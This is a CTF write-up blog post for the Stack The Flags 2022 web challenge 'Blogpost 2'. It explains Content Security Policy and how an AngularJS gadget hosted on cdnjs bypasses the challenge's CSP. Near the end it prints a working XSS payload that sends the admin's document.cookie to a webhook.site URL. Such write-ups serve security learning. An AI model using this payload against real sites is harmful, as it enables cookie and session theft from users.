- Jh123x: Blog, Code, Fun and everything in between./
- My Blog Posts and Stories/
- STF 2022 Web: Blogpost 2/
STF 2022 Web: Blogpost 2
Table of Contents
Recently, I participated with 3 other players in the Stack The Flags 2022 CTF. This is for the writeup of the Web challenge Blogpost 2.
CHALLENGE NAME
Blogpost 2
Look out for my blog posts, again!!
This is a continuation of the challenge from blogpost 1.
What we know from the previous challenge #
This is reference from the previous challenge with similar but different source code. To download the source code for this challenge, please do so here
If you have not taken a look at the previous challenge, feel free to take a look at it here
From the previous challenge, we know that there is a login page with registration capabilities. After we login, we have the ability to create a blog post.
Summary of what we can do.
Button | What it does |
---|---|
Profile | Visit our profile |
Create Post | Create a post on the website |
Settings | Change the theme of the website |
Logout | Logout of the website |
I decided to test if the same payload from the previous challenge will work for this challenge as well.
After submitting the post, we can now see that there is an error saying that the content violates CSP policies. This will mean that the website is updated with a Content Security Policy.
Before we look at the source code, let us take a look at what is a Content Security Policy.
What is a Content Security Policy? #
A Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. It acts as an instruction to your browser on valid sources of information.
An analogy will be telling your friend to only accept words from you and not what other people said.
Let us walk through an example.
Content-Security-Policy: default-src 'self'
The Content Security Policy above will only allow the website to load resources from the same origin. Any scripts which are imported from other sources or <script>
tags will not be allowed to be executed.
This will show up in the form of an error in the console like the one we saw above in this challenge.
Examining the source code #
To be able to launch a Cross Site Scripting attack, we need to see which are the allowed origins for the website.
...
app.use(function (req, res, next) {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com; style-src-elem 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; connect-src 'self';"
);
next();
});
...
Although unsafe-eval
looks like a bad idea, it is not as bad as it sounds. This means that the function eval
can be called.
However, without places to include javascript, we are unable to make use of this.
We can see that these are the following origins that allow scripts to be imported.
Finding a suitable payload #
To find a payload that will work, we can make use of the csp-evaluator by google. By copy pasting the CSP from the source code to the website, we can let it judge if there is problems with the current CSP.
From the CSP testing, we can see that there is a warning the https://cdnjs.cloudflare.com endpoint is vulnerable to CSP bypass.
The next step in finding a payload is the search for the CSP bypass payload. We can refer to Content-Security-Policy-CSP-Bypass-Techniques by bhaveshk90
By doing a simple Ctrl + F
search for cdnjs
, we can see that there is a payload that will work for this challenge.
Note that the payload makes use of eval
so the ‘unsafe-eval’ in the script-src
is relevant to this challenge.
After some tweaking for the payload, we manage to get the flag of the admin.
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app>
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} }
};document.location="https://webhook.site/caeeef5f-1665-42a9-a092-8b3256d4baae?c="+document.cookie;//');}}
</div>
This is the final payload that was used to get the flag.
After submitting the payload, we can see that the flag is sent to the webhook.
Because there is a use of a +
at the back of the payload, we see it as an empty space instead.
Some guessing was done to get the flag.
Flag:
STF22{cl0uDfl4r3!!_@nd_@ngu1ar_ar3_de_b35+}